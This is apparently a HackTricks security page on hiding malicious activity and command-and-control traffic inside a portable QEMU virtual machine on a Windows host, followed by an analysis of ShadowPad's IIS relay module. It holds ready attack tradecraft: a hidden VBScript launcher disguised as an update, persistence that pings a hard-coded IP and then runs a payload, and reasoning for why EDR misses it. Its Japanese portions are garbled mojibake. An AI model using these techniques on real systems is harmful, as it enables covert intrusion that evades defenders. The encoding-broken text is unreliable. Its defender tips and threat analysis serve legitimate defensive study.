šã«ååšããäœ¿ãæšãŠã® SSH jump box ãæäŸããŸã â ãã¹ãŠã®æªæã®ããæŽ»åãšãã¡ã€ã«ãä»®æ³ãã£ã¹ã¯å
ã«çãŸããããEDR ãã C2 ãã©ãã£ãã¯ãé ãã®ã«æé©ã§ãã
ã¯ã€ãã¯ã¯ã³ã©ã€ããŒ
# Windows victim (no admin rights, no driver install â portable binaries only)
qemu-system-x86_64.exe ^
-m 256M ^
-drive file=tc.qcow2,if=ide ^
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
-device e1000,netdev=n0 ^
-nographic
⢠äžèšã®ã³ãã³ãã¯Tiny Core Linuxã€ã¡ãŒãžïŒtc.qcow2ïŒãRAMäžã§èµ·åããŸãã
⢠Windowsãã¹ãã®ããŒã2222/tcpã¯ã²ã¹ãå
ã®22/tcpã«ééçã«è»¢éãããŸãã
â¢ æ»æè
ã®èŠç¹ã§ã¯ãã¿ãŒã²ããã¯åã«ããŒã2222/tcpãå
¬éããŠããã ãã§ãããã«å±ããã±ããã¯VMå
ã§åäœããŠããSSHãµãŒããåŠçããŸãã
VBScriptã«ããã¹ãã«ã¹èµ·å
' update.vbs â lived in C:\ProgramData\update
Set o = CreateObject("Wscript.Shell")
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
Running the script with cscript.exe //B update.vbs keeps the window hidden.
In-guest persistence
Because Tiny Core is stateless, attackers usually:
- Drop payload to
/opt/123.out - Append to
/opt/bootlocal.sh:
while ! ping -c1 45.77.4.101; do sleep 2; done
/opt/123.out
- Add
home/tcandoptto/opt/filetool.lstso the payload is packed intomydata.tgzon shutdown.
Why this evades detection
⢠Only two unsigned executables (qemu-system-*.exe) touch disk; no drivers or services are installed.
⢠Security products on the host see benign loopback traffic (the actual C2 terminates inside the VM).
⢠Memory scanners never analyse the malicious process space because it lives in a different OS.
Defender tips
⢠Alert on unexpected QEMU/VirtualBox/KVM binaries in user-writable paths.
⢠Block outbound connections that originate from qemu-system*.exe.
⢠Hunt for rare listening ports (2222, 10022, âŠ) binding immediately after a QEMU launch.
IIS/HTTP.sys relay nodes via HttpAddUrl (ShadowPad)
Ink Dragonâs ShadowPad IIS module turns every compromised perimeter web server into a dual-purpose backdoor + relay by binding covert URL prefixes directly at the HTTP.sys layer:
- Config defaults â if the moduleâs JSON config omits values, it falls back to believable IIS defaults (
Server: Microsoft-IIS/10.0,DocumentRoot: C:\inetpub\wwwroot,ErrorPage: C:\inetpub\custerr\en-US\404.htm). That way benign traffic is answered by IIS with the correct branding. - Wildcard interception â operators supply a semicolon-separated list of URL prefixes (wildcards in host + path). The module calls
HttpAddUrlfor each entry, so HTTP.sys routes matching requests to the malicious handler before the request reaches IIS modules. - Encrypted first packet â the first two bytes of the request body carry the seed for a custom 32-bit PRNG. Every subsequent byte is XOR-ed with the generated keystream before protocol parsing:
def decrypt_first_packet(buf):
seed = buf[0] | (buf[1] << 8)
num = seed & 0xFFFFFFFF
out = bytearray(buf)
for i in range(2, len(out)):
hi = (num >> 16) & 0xFFFF
num = (hi * 0x7093915D - num * 0x6EA30000 + 0x06B0F0E3) & 0xFFFFFFFF
out[i] ^= num & 0xFF
return out
- Relay orchestration â the module maintains two lists: âserversâ (upstream nodes) and âclientsâ (downstream implants). Entries are pruned if no heartbeat arrives within ~30 seconds. When both lists are non-empty, it pairs the first healthy server with the first healthy client and simply pipes bytes between their sockets until one side closes.
- Debug telemetry â optional logging records source IP, destination IP, and total forwarded bytes for each pairing. Investigators used those breadcrumbs to rebuild the ShadowPad mesh spanning multiple victims.
Other tools to check
References
- Hiding in the Shadows: Covert Tunnels via QEMU Virtualization
- Check Point Research â Before ToolShell: Exploring Storm-2603âs Previous Ransomware Operations
- Check Point Research â Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


